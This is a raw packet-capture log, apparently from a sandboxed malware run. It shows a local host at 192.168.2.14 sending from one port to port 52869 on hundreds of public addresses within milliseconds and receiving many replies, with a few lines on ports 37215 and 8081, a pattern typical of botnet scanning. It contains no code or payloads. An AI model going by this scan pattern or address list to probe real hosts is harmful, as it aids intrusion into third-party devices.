Jul 20, 2024 23:01:05.198602915 CEST	49909	52869	192.168.2.14	138.73.67.155
Jul 20, 2024 23:01:05.198602915 CEST	49909	52869	192.168.2.14	105.196.227.30
Jul 20, 2024 23:01:05.198602915 CEST	49909	52869	192.168.2.14	67.93.133.34
Jul 20, 2024 23:01:05.198602915 CEST	49909	52869	192.168.2.14	158.246.105.92
Jul 20, 2024 23:01:05.198602915 CEST	49909	52869	192.168.2.14	31.163.126.14
Jul 20, 2024 23:01:05.199918032 CEST	49909	52869	192.168.2.14	157.70.243.154
Jul 20, 2024 23:01:05.199918032 CEST	49909	52869	192.168.2.14	217.52.41.239
Jul 20, 2024 23:01:05.199918032 CEST	49909	52869	192.168.2.14	14.39.170.20
Jul 20, 2024 23:01:05.199918032 CEST	49909	52869	192.168.2.14	155.122.148.221
Jul 20, 2024 23:01:05.199918032 CEST	49909	52869	192.168.2.14	207.249.105.233
Jul 20, 2024 23:01:05.199918032 CEST	49909	52869	192.168.2.14	37.246.132.110
Jul 20, 2024 23:01:05.199918985 CEST	49909	52869	192.168.2.14	94.183.77.238
Jul 20, 2024 23:01:05.199918985 CEST	49909	52869	192.168.2.14	116.69.67.92
Jul 20, 2024 23:01:05.200076103 CEST	49909	52869	192.168.2.14	1.95.36.129
Jul 20, 2024 23:01:05.200076103 CEST	49909	52869	192.168.2.14	104.70.236.97
Jul 20, 2024 23:01:05.200076103 CEST	49909	52869	192.168.2.14	151.200.89.203
Jul 20, 2024 23:01:05.200076103 CEST	49909	52869	192.168.2.14	167.136.136.222
Jul 20, 2024 23:01:05.200076103 CEST	49909	52869	192.168.2.14	43.128.171.81
Jul 20, 2024 23:01:05.200076103 CEST	49909	52869	192.168.2.14	192.91.46.224
Jul 20, 2024 23:01:05.200076103 CEST	49909	52869	192.168.2.14	9.127.156.104
Jul 20, 2024 23:01:05.200076103 CEST	49909	52869	192.168.2.14	86.218.2.126
Jul 20, 2024 23:01:05.201695919 CEST	49909	52869	192.168.2.14	20.143.1.147
Jul 20, 2024 23:01:05.201695919 CEST	49909	52869	192.168.2.14	156.208.189.125
Jul 20, 2024 23:01:05.201695919 CEST	49909	52869	192.168.2.14	91.145.237.124
Jul 20, 2024 23:01:05.201697111 CEST	49909	52869	192.168.2.14	195.200.76.232
Jul 20, 2024 23:01:05.201697111 CEST	49909	52869	192.168.2.14	78.203.34.52
Jul 20, 2024 23:01:05.201697111 CEST	49909	52869	192.168.2.14	50.46.187.211
Jul 20, 2024 23:01:05.201697111 CEST	49909	52869	192.168.2.14	117.183.126.226
Jul 20, 2024 23:01:05.201697111 CEST	49909	52869	192.168.2.14	163.7.74.3
Jul 20, 2024 23:01:05.204529047 CEST	49909	52869	192.168.2.14	178.225.90.229
Jul 20, 2024 23:01:05.204529047 CEST	49909	52869	192.168.2.14	80.170.128.93
Jul 20, 2024 23:01:05.204529047 CEST	49909	52869	192.168.2.14	18.228.41.4
Jul 20, 2024 23:01:05.204529047 CEST	49909	52869	192.168.2.14	95.238.106.212
Jul 20, 2024 23:01:05.204529047 CEST	49909	52869	192.168.2.14	192.108.215.227
Jul 20, 2024 23:01:05.204529047 CEST	49909	52869	192.168.2.14	83.209.66.154
Jul 20, 2024 23:01:05.204529047 CEST	49909	52869	192.168.2.14	36.41.177.112
Jul 20, 2024 23:01:05.204555988 CEST	52869	49909	38.58.119.18	192.168.2.14
Jul 20, 2024 23:01:05.204579115 CEST	52869	49909	204.46.85.1	192.168.2.14
Jul 20, 2024 23:01:05.204601049 CEST	52869	49909	37.9.185.102	192.168.2.14
Jul 20, 2024 23:01:05.204715967 CEST	52869	49909	201.170.103.141	192.168.2.14
Jul 20, 2024 23:01:05.204736948 CEST	52869	49909	31.22.183.58	192.168.2.14
Jul 20, 2024 23:01:05.204757929 CEST	52869	49909	2.200.2.185	192.168.2.14
Jul 20, 2024 23:01:05.204778910 CEST	52869	49909	83.121.64.87	192.168.2.14
Jul 20, 2024 23:01:05.204798937 CEST	52869	49909	71.90.2.192	192.168.2.14
Jul 20, 2024 23:01:05.204819918 CEST	52869	49909	84.205.206.134	192.168.2.14
Jul 20, 2024 23:01:05.204839945 CEST	52869	49909	87.189.78.45	192.168.2.14
Jul 20, 2024 23:01:05.204859972 CEST	52869	49909	175.198.253.27	192.168.2.14
Jul 20, 2024 23:01:05.204881907 CEST	52869	49909	39.69.127.120	192.168.2.14
Jul 20, 2024 23:01:05.204902887 CEST	52869	49909	151.201.97.102	192.168.2.14
Jul 20, 2024 23:01:05.204924107 CEST	52869	49909	76.53.27.166	192.168.2.14
Jul 20, 2024 23:01:05.204943895 CEST	52869	49909	46.76.84.240	192.168.2.14
Jul 20, 2024 23:01:05.204963923 CEST	52869	49909	222.94.225.183	192.168.2.14
Jul 20, 2024 23:01:05.204984903 CEST	52869	49909	35.129.134.57	192.168.2.14
Jul 20, 2024 23:01:05.205005884 CEST	52869	49909	74.53.10.45	192.168.2.14
Jul 20, 2024 23:01:05.205025911 CEST	52869	49909	8.143.205.222	192.168.2.14
Jul 20, 2024 23:01:05.205046892 CEST	52869	49909	67.242.162.148	192.168.2.14
Jul 20, 2024 23:01:05.205066919 CEST	52869	49909	79.60.75.89	192.168.2.14
Jul 20, 2024 23:01:05.205086946 CEST	52869	49909	141.239.135.111	192.168.2.14
Jul 20, 2024 23:01:05.205106974 CEST	52869	49909	188.123.100.200	192.168.2.14
Jul 20, 2024 23:01:05.205127001 CEST	52869	49909	79.183.7.209	192.168.2.14
Jul 20, 2024 23:01:05.205147982 CEST	52869	49909	198.227.19.209	192.168.2.14
Jul 20, 2024 23:01:05.205176115 CEST	52869	49909	75.153.36.129	192.168.2.14
Jul 20, 2024 23:01:05.205197096 CEST	52869	49909	64.249.135.120	192.168.2.14
Jul 20, 2024 23:01:05.205216885 CEST	52869	49909	130.233.166.84	192.168.2.14
Jul 20, 2024 23:01:05.205236912 CEST	52869	49909	53.25.250.98	192.168.2.14
Jul 20, 2024 23:01:05.205256939 CEST	52869	49909	166.44.197.136	192.168.2.14
Jul 20, 2024 23:01:05.205276966 CEST	52869	49909	154.125.143.97	192.168.2.14
Jul 20, 2024 23:01:05.205301046 CEST	52869	49909	44.191.77.200	192.168.2.14
Jul 20, 2024 23:01:05.205321074 CEST	52869	49909	149.97.75.135	192.168.2.14
Jul 20, 2024 23:01:05.205342054 CEST	52869	49909	89.63.235.199	192.168.2.14
Jul 20, 2024 23:01:05.205368996 CEST	52869	49909	110.17.198.51	192.168.2.14
Jul 20, 2024 23:01:05.205391884 CEST	52869	49909	195.27.121.109	192.168.2.14
Jul 20, 2024 23:01:05.205411911 CEST	52869	49909	60.79.52.246	192.168.2.14
Jul 20, 2024 23:01:05.205431938 CEST	52869	49909	24.64.227.107	192.168.2.14
Jul 20, 2024 23:01:05.205452919 CEST	52869	49909	149.226.29.145	192.168.2.14
Jul 20, 2024 23:01:05.205472946 CEST	52869	49909	160.234.153.88	192.168.2.14
Jul 20, 2024 23:01:05.205492973 CEST	52869	49909	85.129.106.84	192.168.2.14
Jul 20, 2024 23:01:05.205513000 CEST	52869	49909	117.149.29.28	192.168.2.14
Jul 20, 2024 23:01:05.205533028 CEST	52869	49909	175.183.122.64	192.168.2.14
Jul 20, 2024 23:01:05.205554008 CEST	52869	49909	202.40.219.63	192.168.2.14
Jul 20, 2024 23:01:05.205928087 CEST	52869	49909	99.175.215.170	192.168.2.14
Jul 20, 2024 23:01:05.206120968 CEST	52869	49909	104.175.3.45	192.168.2.14
Jul 20, 2024 23:01:05.206142902 CEST	52869	49909	205.151.43.170	192.168.2.14
Jul 20, 2024 23:01:05.206278086 CEST	49909	52869	192.168.2.14	99.165.217.62
Jul 20, 2024 23:01:05.206278086 CEST	49909	52869	192.168.2.14	221.104.47.236
Jul 20, 2024 23:01:05.206278086 CEST	49909	52869	192.168.2.14	197.250.139.15
Jul 20, 2024 23:01:05.206278086 CEST	49909	52869	192.168.2.14	17.127.77.198
Jul 20, 2024 23:01:05.206279039 CEST	49909	52869	192.168.2.14	32.147.2.176
Jul 20, 2024 23:01:05.206279039 CEST	49909	52869	192.168.2.14	148.210.20.207
Jul 20, 2024 23:01:05.206279039 CEST	49909	52869	192.168.2.14	192.14.151.136
Jul 20, 2024 23:01:05.206279039 CEST	49909	52869	192.168.2.14	199.3.182.126
Jul 20, 2024 23:01:05.206551075 CEST	49909	52869	192.168.2.14	165.19.21.100
Jul 20, 2024 23:01:05.206551075 CEST	49909	52869	192.168.2.14	80.62.19.100
Jul 20, 2024 23:01:05.206551075 CEST	49909	52869	192.168.2.14	183.47.141.185
Jul 20, 2024 23:01:05.206551075 CEST	49909	52869	192.168.2.14	124.166.152.231
Jul 20, 2024 23:01:05.206552029 CEST	49909	52869	192.168.2.14	126.246.250.210
Jul 20, 2024 23:01:05.206552029 CEST	49909	52869	192.168.2.14	190.118.229.95
Jul 20, 2024 23:01:05.206552029 CEST	49909	52869	192.168.2.14	50.56.193.31
Jul 20, 2024 23:01:05.206552029 CEST	49909	52869	192.168.2.14	25.160.243.163
Jul 20, 2024 23:01:05.207190037 CEST	49909	52869	192.168.2.14	120.215.85.109
Jul 20, 2024 23:01:05.207190037 CEST	49909	52869	192.168.2.14	82.38.133.160
Jul 20, 2024 23:01:05.207190037 CEST	49909	52869	192.168.2.14	187.152.147.14
Jul 20, 2024 23:01:05.207190037 CEST	49909	52869	192.168.2.14	193.75.43.205
Jul 20, 2024 23:01:05.207190037 CEST	49909	52869	192.168.2.14	23.80.210.66
Jul 20, 2024 23:01:05.207190037 CEST	49909	52869	192.168.2.14	80.2.14.227
Jul 20, 2024 23:01:05.207190037 CEST	49909	52869	192.168.2.14	190.11.73.82
Jul 20, 2024 23:01:05.207190990 CEST	49909	52869	192.168.2.14	211.238.81.24
Jul 20, 2024 23:01:05.207365990 CEST	49909	52869	192.168.2.14	61.199.139.143
Jul 20, 2024 23:01:05.207365990 CEST	49909	52869	192.168.2.14	43.170.164.184
Jul 20, 2024 23:01:05.207365990 CEST	49909	52869	192.168.2.14	78.61.124.52
Jul 20, 2024 23:01:05.207365990 CEST	49909	52869	192.168.2.14	4.122.174.96
Jul 20, 2024 23:01:05.207365990 CEST	49909	52869	192.168.2.14	74.223.178.51
Jul 20, 2024 23:01:05.207365990 CEST	49909	52869	192.168.2.14	129.246.221.179
Jul 20, 2024 23:01:05.207365990 CEST	49909	52869	192.168.2.14	25.213.106.157
Jul 20, 2024 23:01:05.207365990 CEST	49909	52869	192.168.2.14	164.115.1.98
Jul 20, 2024 23:01:05.209336042 CEST	49909	52869	192.168.2.14	198.70.195.28
Jul 20, 2024 23:01:05.209336042 CEST	49909	52869	192.168.2.14	147.202.215.55
Jul 20, 2024 23:01:05.209336042 CEST	49909	52869	192.168.2.14	183.167.63.95
Jul 20, 2024 23:01:05.209336996 CEST	49909	52869	192.168.2.14	91.164.35.152
Jul 20, 2024 23:01:05.209336996 CEST	49909	52869	192.168.2.14	145.140.99.8
Jul 20, 2024 23:01:05.209336996 CEST	49909	52869	192.168.2.14	208.90.179.174
Jul 20, 2024 23:01:05.209336996 CEST	49909	52869	192.168.2.14	142.104.231.210
Jul 20, 2024 23:01:05.209336996 CEST	49909	52869	192.168.2.14	67.236.111.42
Jul 20, 2024 23:01:05.210469961 CEST	49909	52869	192.168.2.14	25.92.200.252
Jul 20, 2024 23:01:05.210470915 CEST	49909	52869	192.168.2.14	212.220.91.246
Jul 20, 2024 23:01:05.210470915 CEST	49909	52869	192.168.2.14	156.47.208.156
Jul 20, 2024 23:01:05.210470915 CEST	49909	52869	192.168.2.14	42.108.97.153
Jul 20, 2024 23:01:05.210470915 CEST	49909	52869	192.168.2.14	98.101.40.253
Jul 20, 2024 23:01:05.210470915 CEST	49909	52869	192.168.2.14	105.148.195.43
Jul 20, 2024 23:01:05.210470915 CEST	49909	52869	192.168.2.14	130.47.227.172
Jul 20, 2024 23:01:05.210695028 CEST	49909	52869	192.168.2.14	183.109.115.10
Jul 20, 2024 23:01:05.210695028 CEST	49909	52869	192.168.2.14	67.253.242.32
Jul 20, 2024 23:01:05.210695028 CEST	49909	52869	192.168.2.14	190.113.69.166
Jul 20, 2024 23:01:05.210695028 CEST	49909	52869	192.168.2.14	196.110.17.48
Jul 20, 2024 23:01:05.210695028 CEST	49909	52869	192.168.2.14	27.207.202.189
Jul 20, 2024 23:01:05.210695028 CEST	49909	52869	192.168.2.14	219.255.19.116
Jul 20, 2024 23:01:05.210695982 CEST	49909	52869	192.168.2.14	202.218.75.66
Jul 20, 2024 23:01:05.210695982 CEST	49909	52869	192.168.2.14	125.56.77.208
Jul 20, 2024 23:01:05.211097956 CEST	49909	52869	192.168.2.14	122.213.228.115
Jul 20, 2024 23:01:05.211097956 CEST	49909	52869	192.168.2.14	219.141.33.78
Jul 20, 2024 23:01:05.211097956 CEST	49909	52869	192.168.2.14	66.227.32.28
Jul 20, 2024 23:01:05.211097956 CEST	49909	52869	192.168.2.14	75.223.60.203
Jul 20, 2024 23:01:05.211097956 CEST	49909	52869	192.168.2.14	52.95.130.222
Jul 20, 2024 23:01:05.211097956 CEST	49909	52869	192.168.2.14	180.0.141.149
Jul 20, 2024 23:01:05.211097956 CEST	49909	52869	192.168.2.14	194.167.152.12
Jul 20, 2024 23:01:05.211097956 CEST	49909	52869	192.168.2.14	88.173.128.24
Jul 20, 2024 23:01:05.213128090 CEST	8081	39606	53.112.237.25	192.168.2.14
Jul 20, 2024 23:01:05.213903904 CEST	52869	49909	190.138.126.165	192.168.2.14
Jul 20, 2024 23:01:05.213932991 CEST	52869	49909	43.146.245.183	192.168.2.14
Jul 20, 2024 23:01:05.213960886 CEST	52869	49909	204.200.102.242	192.168.2.14
Jul 20, 2024 23:01:05.213999033 CEST	52869	49909	12.235.139.129	192.168.2.14
Jul 20, 2024 23:01:05.214027882 CEST	52869	49909	157.70.243.154	192.168.2.14
Jul 20, 2024 23:01:05.214056015 CEST	52869	49909	141.17.161.92	192.168.2.14
Jul 20, 2024 23:01:05.214083910 CEST	52869	49909	1.95.36.129	192.168.2.14
Jul 20, 2024 23:01:05.214111090 CEST	52869	49909	217.52.41.239	192.168.2.14
Jul 20, 2024 23:01:05.214138985 CEST	52869	49909	104.70.236.97	192.168.2.14
Jul 20, 2024 23:01:05.214165926 CEST	52869	49909	138.79.113.156	192.168.2.14
Jul 20, 2024 23:01:05.214174032 CEST	49909	52869	192.168.2.14	102.83.219.251
Jul 20, 2024 23:01:05.214174032 CEST	49909	52869	192.168.2.14	75.212.116.41
Jul 20, 2024 23:01:05.214174032 CEST	49909	52869	192.168.2.14	95.110.227.75
Jul 20, 2024 23:01:05.214174032 CEST	49909	52869	192.168.2.14	136.251.160.154
Jul 20, 2024 23:01:05.214174032 CEST	49909	52869	192.168.2.14	198.178.223.150
Jul 20, 2024 23:01:05.214174032 CEST	49909	52869	192.168.2.14	192.90.104.28
Jul 20, 2024 23:01:05.214174032 CEST	49909	52869	192.168.2.14	73.3.59.158
Jul 20, 2024 23:01:05.214174032 CEST	49909	52869	192.168.2.14	176.35.15.154
Jul 20, 2024 23:01:05.214194059 CEST	52869	49909	14.39.170.20	192.168.2.14
Jul 20, 2024 23:01:05.214221001 CEST	52869	49909	20.143.1.147	192.168.2.14
Jul 20, 2024 23:01:05.214248896 CEST	52869	49909	151.200.89.203	192.168.2.14
Jul 20, 2024 23:01:05.214276075 CEST	52869	49909	155.122.148.221	192.168.2.14
Jul 20, 2024 23:01:05.214304924 CEST	52869	49909	156.208.189.125	192.168.2.14
Jul 20, 2024 23:01:05.214333057 CEST	52869	49909	207.249.105.233	192.168.2.14
Jul 20, 2024 23:01:05.214360952 CEST	52869	49909	91.145.237.124	192.168.2.14
Jul 20, 2024 23:01:05.214389086 CEST	52869	49909	167.136.136.222	192.168.2.14
Jul 20, 2024 23:01:05.214416981 CEST	52869	49909	37.246.132.110	192.168.2.14
Jul 20, 2024 23:01:05.214445114 CEST	52869	49909	43.128.171.81	192.168.2.14
Jul 20, 2024 23:01:05.214473963 CEST	52869	49909	62.159.184.30	192.168.2.14
Jul 20, 2024 23:01:05.214500904 CEST	52869	49909	192.91.46.224	192.168.2.14
Jul 20, 2024 23:01:05.214529037 CEST	52869	49909	195.200.76.232	192.168.2.14
Jul 20, 2024 23:01:05.214556932 CEST	52869	49909	9.127.156.104	192.168.2.14
Jul 20, 2024 23:01:05.214584112 CEST	52869	49909	78.203.34.52	192.168.2.14
Jul 20, 2024 23:01:05.214621067 CEST	52869	49909	82.243.184.96	192.168.2.14
Jul 20, 2024 23:01:05.214648962 CEST	52869	49909	103.116.144.94	192.168.2.14
Jul 20, 2024 23:01:05.214675903 CEST	52869	49909	140.41.150.3	192.168.2.14
Jul 20, 2024 23:01:05.214703083 CEST	52869	49909	89.74.2.16	192.168.2.14
Jul 20, 2024 23:01:05.214730978 CEST	52869	49909	206.66.80.130	192.168.2.14
Jul 20, 2024 23:01:05.214757919 CEST	52869	49909	178.225.90.229	192.168.2.14
Jul 20, 2024 23:01:05.214786053 CEST	52869	49909	94.183.77.238	192.168.2.14
Jul 20, 2024 23:01:05.214812994 CEST	52869	49909	50.46.187.211	192.168.2.14
Jul 20, 2024 23:01:05.214839935 CEST	52869	49909	152.82.76.143	192.168.2.14
Jul 20, 2024 23:01:05.214869022 CEST	52869	49909	138.73.67.155	192.168.2.14
Jul 20, 2024 23:01:05.214895964 CEST	52869	49909	86.87.254.178	192.168.2.14
Jul 20, 2024 23:01:05.214924097 CEST	52869	49909	136.250.155.100	192.168.2.14
Jul 20, 2024 23:01:05.214951038 CEST	52869	49909	98.223.144.187	192.168.2.14
Jul 20, 2024 23:01:05.214977026 CEST	52869	49909	89.0.143.198	192.168.2.14
Jul 20, 2024 23:01:05.215004921 CEST	52869	49909	105.163.125.86	192.168.2.14
Jul 20, 2024 23:01:05.215030909 CEST	52869	49909	105.196.227.30	192.168.2.14
Jul 20, 2024 23:01:05.215058088 CEST	52869	49909	80.170.128.93	192.168.2.14
Jul 20, 2024 23:01:05.215085030 CEST	52869	49909	67.93.133.34	192.168.2.14
Jul 20, 2024 23:01:05.215111971 CEST	52869	49909	116.69.67.92	192.168.2.14
Jul 20, 2024 23:01:05.215140104 CEST	52869	49909	86.218.2.126	192.168.2.14
Jul 20, 2024 23:01:05.215166092 CEST	52869	49909	117.183.126.226	192.168.2.14
Jul 20, 2024 23:01:05.215193987 CEST	52869	49909	61.199.139.143	192.168.2.14
Jul 20, 2024 23:01:05.215224981 CEST	52869	49909	120.215.85.109	192.168.2.14
Jul 20, 2024 23:01:05.215265036 CEST	52869	49909	18.228.41.4	192.168.2.14
Jul 20, 2024 23:01:05.215293884 CEST	52869	49909	158.246.105.92	192.168.2.14
Jul 20, 2024 23:01:05.215322971 CEST	52869	49909	99.165.217.62	192.168.2.14
Jul 20, 2024 23:01:05.215349913 CEST	52869	49909	165.19.21.100	192.168.2.14
Jul 20, 2024 23:01:05.215378046 CEST	52869	49909	64.159.124.254	192.168.2.14
Jul 20, 2024 23:01:05.215406895 CEST	52869	49909	80.62.19.100	192.168.2.14
Jul 20, 2024 23:01:05.215434074 CEST	52869	49909	95.238.106.212	192.168.2.14
Jul 20, 2024 23:01:05.215461016 CEST	52869	49909	221.104.47.236	192.168.2.14
Jul 20, 2024 23:01:05.215487957 CEST	52869	49909	31.163.126.14	192.168.2.14
Jul 20, 2024 23:01:05.215516090 CEST	52869	49909	183.47.141.185	192.168.2.14
Jul 20, 2024 23:01:05.215543985 CEST	52869	49909	192.108.215.227	192.168.2.14
Jul 20, 2024 23:01:05.215572119 CEST	52869	49909	124.166.152.231	192.168.2.14
Jul 20, 2024 23:01:05.215599060 CEST	52869	49909	198.70.195.28	192.168.2.14
Jul 20, 2024 23:01:05.215626955 CEST	52869	51724	79.199.66.178	192.168.2.14
Jul 20, 2024 23:01:05.215663910 CEST	52869	49909	69.41.205.184	192.168.2.14
Jul 20, 2024 23:01:05.215692043 CEST	52869	49909	83.209.66.154	192.168.2.14
Jul 20, 2024 23:01:05.215718985 CEST	52869	49909	197.250.139.15	192.168.2.14
Jul 20, 2024 23:01:05.215747118 CEST	52869	49909	147.202.215.55	192.168.2.14
Jul 20, 2024 23:01:05.215773106 CEST	52869	49909	163.7.74.3	192.168.2.14
Jul 20, 2024 23:01:05.215976000 CEST	52869	49909	76.218.15.212	192.168.2.14
Jul 20, 2024 23:01:05.216171980 CEST	52869	49909	183.167.63.95	192.168.2.14
Jul 20, 2024 23:01:05.216402054 CEST	52869	49909	126.246.250.210	192.168.2.14
Jul 20, 2024 23:01:05.216429949 CEST	52869	49909	36.41.177.112	192.168.2.14
Jul 20, 2024 23:01:05.216550112 CEST	52869	49909	183.109.115.10	192.168.2.14
Jul 20, 2024 23:01:05.216578007 CEST	52869	49909	122.213.228.115	192.168.2.14
Jul 20, 2024 23:01:05.216711998 CEST	49909	52869	192.168.2.14	105.220.126.113
Jul 20, 2024 23:01:05.216711998 CEST	49909	52869	192.168.2.14	147.210.209.142
Jul 20, 2024 23:01:05.216711998 CEST	49909	52869	192.168.2.14	49.188.84.130
Jul 20, 2024 23:01:05.216711998 CEST	49909	52869	192.168.2.14	204.109.236.200
Jul 20, 2024 23:01:05.216711998 CEST	49909	52869	192.168.2.14	37.86.161.63
Jul 20, 2024 23:01:05.216711998 CEST	49909	52869	192.168.2.14	84.2.220.44
Jul 20, 2024 23:01:05.216711998 CEST	49909	52869	192.168.2.14	82.101.77.8
Jul 20, 2024 23:01:05.216711998 CEST	49909	52869	192.168.2.14	203.21.243.102
Jul 20, 2024 23:01:05.217129946 CEST	49909	52869	192.168.2.14	154.4.196.205
Jul 20, 2024 23:01:05.217129946 CEST	49909	52869	192.168.2.14	151.37.149.195
Jul 20, 2024 23:01:05.217129946 CEST	49909	52869	192.168.2.14	155.121.79.91
Jul 20, 2024 23:01:05.217129946 CEST	49909	52869	192.168.2.14	121.186.185.164
Jul 20, 2024 23:01:05.217129946 CEST	49909	52869	192.168.2.14	149.39.246.113
Jul 20, 2024 23:01:05.217461109 CEST	52869	49909	67.253.242.32	192.168.2.14
Jul 20, 2024 23:01:05.217489958 CEST	52869	49909	190.118.229.95	192.168.2.14
Jul 20, 2024 23:01:05.217518091 CEST	52869	49909	219.141.33.78	192.168.2.14
Jul 20, 2024 23:01:05.217544079 CEST	49909	52869	192.168.2.14	211.153.6.105
Jul 20, 2024 23:01:05.217544079 CEST	49909	52869	192.168.2.14	182.98.117.77
Jul 20, 2024 23:01:05.217544079 CEST	49909	52869	192.168.2.14	8.135.44.238
Jul 20, 2024 23:01:05.217544079 CEST	49909	52869	192.168.2.14	1.4.58.228
Jul 20, 2024 23:01:05.217544079 CEST	49909	52869	192.168.2.14	116.87.201.8
Jul 20, 2024 23:01:05.217544079 CEST	49909	52869	192.168.2.14	109.210.97.19
Jul 20, 2024 23:01:05.217544079 CEST	49909	52869	192.168.2.14	119.47.251.212
Jul 20, 2024 23:01:05.217544079 CEST	49909	52869	192.168.2.14	219.38.201.206
Jul 20, 2024 23:01:05.217565060 CEST	37215	47550	221.232.156.2	192.168.2.14
Jul 20, 2024 23:01:05.217592955 CEST	52869	49909	82.38.133.160	192.168.2.14
Jul 20, 2024 23:01:05.217621088 CEST	52869	49909	25.92.200.252	192.168.2.14
Jul 20, 2024 23:01:05.217648983 CEST	52869	49909	187.152.147.14	192.168.2.14
Jul 20, 2024 23:01:05.217677116 CEST	52869	49909	212.220.91.246	192.168.2.14
Jul 20, 2024 23:01:05.218131065 CEST	52869	49909	43.170.164.184	192.168.2.14
Jul 20, 2024 23:01:05.218159914 CEST	52869	49909	193.75.43.205	192.168.2.14
Jul 20, 2024 23:01:05.218189001 CEST	52869	49909	156.47.208.156	192.168.2.14
Jul 20, 2024 23:01:05.218194962 CEST	49909	52869	192.168.2.14	193.116.164.76
Jul 20, 2024 23:01:05.218194962 CEST	49909	52869	192.168.2.14	8.61.66.253
Jul 20, 2024 23:01:05.218195915 CEST	49909	52869	192.168.2.14	165.160.174.213
Jul 20, 2024 23:01:05.218195915 CEST	49909	52869	192.168.2.14	222.56.69.190
Jul 20, 2024 23:01:05.218195915 CEST	49909	52869	192.168.2.14	42.181.108.76
Jul 20, 2024 23:01:05.218195915 CEST	49909	52869	192.168.2.14	45.156.173.48
Jul 20, 2024 23:01:05.218195915 CEST	49909	52869	192.168.2.14	203.165.241.204
Jul 20, 2024 23:01:05.218195915 CEST	49909	52869	192.168.2.14	139.226.186.104
Jul 20, 2024 23:01:05.218413115 CEST	52869	49909	190.113.69.166	192.168.2.14
Jul 20, 2024 23:01:05.218441963 CEST	52869	49909	50.56.193.31	192.168.2.14
Jul 20, 2024 23:01:05.218468904 CEST	52869	49909	196.110.17.48	192.168.2.14
Jul 20, 2024 23:01:05.218770981 CEST	52869	49909	17.127.77.198	192.168.2.14
Jul 20, 2024 23:01:05.218976974 CEST	52869	49909	91.164.35.152	192.168.2.14
Jul 20, 2024 23:01:05.219582081 CEST	49909	52869	192.168.2.14	45.142.21.184
Jul 20, 2024 23:01:05.219582081 CEST	49909	52869	192.168.2.14	206.141.206.158
Jul 20, 2024 23:01:05.219582081 CEST	49909	52869	192.168.2.14	54.187.113.231
Jul 20, 2024 23:01:05.219582081 CEST	49909	52869	192.168.2.14	17.144.224.205
Jul 20, 2024 23:01:05.219582081 CEST	49909	52869	192.168.2.14	27.129.137.213
Jul 20, 2024 23:01:05.219582081 CEST	49909	52869	192.168.2.14	92.86.36.182
Jul 20, 2024 23:01:05.219582081 CEST	49909	52869	192.168.2.14	211.136.74.160
Jul 20, 2024 23:01:05.219582081 CEST	49909	52869	192.168.2.14	199.204.179.140
Jul 20, 2024 23:01:05.220119953 CEST	8081	48266	12.33.225.1	192.168.2.14
Jul 20, 2024 23:01:05.220262051 CEST	49909	52869	192.168.2.14	133.170.242.124
Jul 20, 2024 23:01:05.220262051 CEST	49909	52869	192.168.2.14	82.244.171.48
Jul 20, 2024 23:01:05.220262051 CEST	49909	52869	192.168.2.14	162.49.11.69
Jul 20, 2024 23:01:05.220262051 CEST	49909	52869	192.168.2.14	124.200.150.194
Jul 20, 2024 23:01:05.220262051 CEST	49909	52869	192.168.2.14	173.104.241.88
Jul 20, 2024 23:01:05.220262051 CEST	49909	52869	192.168.2.14	73.228.247.97
Jul 20, 2024 23:01:05.220262051 CEST	49909	52869	192.168.2.14	46.188.92.137
Jul 20, 2024 23:01:05.220262051 CEST	49909	52869	192.168.2.14	208.29.17.18
Jul 20, 2024 23:01:05.221122026 CEST	49909	52869	192.168.2.14	49.165.7.121
Jul 20, 2024 23:01:05.221122026 CEST	49909	52869	192.168.2.14	123.214.54.164
Jul 20, 2024 23:01:05.221122026 CEST	49909	52869	192.168.2.14	4.62.101.190
Jul 20, 2024 23:01:05.221122026 CEST	49909	52869	192.168.2.14	162.5.136.13
Jul 20, 2024 23:01:05.221122026 CEST	49909	52869	192.168.2.14	118.153.189.16
Jul 20, 2024 23:01:05.221122026 CEST	49909	52869	192.168.2.14	220.5.187.87
Jul 20, 2024 23:01:05.221122026 CEST	49909	52869	192.168.2.14	177.103.155.193
Jul 20, 2024 23:01:05.221122026 CEST	49909	52869	192.168.2.14	161.83.3.216
Jul 20, 2024 23:01:05.222456932 CEST	52869	49909	32.147.2.176	192.168.2.14
Jul 20, 2024 23:01:05.222538948 CEST	52869	49909	27.207.202.189	192.168.2.14
Jul 20, 2024 23:01:05.222568035 CEST	52869	49909	25.160.243.163	192.168.2.14
Jul 20, 2024 23:01:05.222595930 CEST	52869	49909	219.255.19.116	192.168.2.14
Jul 20, 2024 23:01:05.222784042 CEST	52869	49909	145.140.99.8	192.168.2.14
Jul 20, 2024 23:01:05.222812891 CEST	52869	49909	148.210.20.207	192.168.2.14
Jul 20, 2024 23:01:05.222841024 CEST	52869	49909	208.90.179.174	192.168.2.14
Jul 20, 2024 23:01:05.222868919 CEST	52869	49909	202.218.75.66	192.168.2.14
Jul 20, 2024 23:01:05.222897053 CEST	52869	49909	142.104.231.210	192.168.2.14
Jul 20, 2024 23:01:05.222923994 CEST	52869	49909	102.83.219.251	192.168.2.14
Jul 20, 2024 23:01:05.222950935 CEST	52869	49909	66.227.32.28	192.168.2.14
Jul 20, 2024 23:01:05.222979069 CEST	52869	49909	192.14.151.136	192.168.2.14
Jul 20, 2024 23:01:05.223006010 CEST	52869	49909	78.61.124.52	192.168.2.14
Jul 20, 2024 23:01:05.223033905 CEST	52869	49909	42.108.97.153	192.168.2.14
Jul 20, 2024 23:01:05.223061085 CEST	52869	49909	4.122.174.96	192.168.2.14
Jul 20, 2024 23:01:05.223088026 CEST	52869	49909	98.101.40.253	192.168.2.14
Jul 20, 2024 23:01:05.223115921 CEST	52869	49909	74.223.178.51	192.168.2.14
Jul 20, 2024 23:01:05.223222971 CEST	52869	49909	105.148.195.43	192.168.2.14
Jul 20, 2024 23:01:05.223251104 CEST	52869	49909	199.3.182.126	192.168.2.14
Jul 20, 2024 23:01:05.223279953 CEST	52869	49909	75.212.116.41	192.168.2.14
Jul 20, 2024 23:01:05.223347902 CEST	52869	49909	105.220.126.113	192.168.2.14
Jul 20, 2024 23:01:05.223376036 CEST	52869	49909	125.56.77.208	192.168.2.14
Jul 20, 2024 23:01:05.223408937 CEST	52869	49909	95.110.227.75	192.168.2.14
Jul 20, 2024 23:01:05.223436117 CEST	52869	49909	147.210.209.142	192.168.2.14
Jul 20, 2024 23:01:05.223467112 CEST	52869	49909	67.236.111.42	192.168.2.14
Jul 20, 2024 23:01:05.224057913 CEST	52869	49909	154.4.196.205	192.168.2.14
Jul 20, 2024 23:01:05.224086046 CEST	52869	49909	211.153.6.105	192.168.2.14
Jul 20, 2024 23:01:05.224112988 CEST	52869	49909	151.37.149.195	192.168.2.14
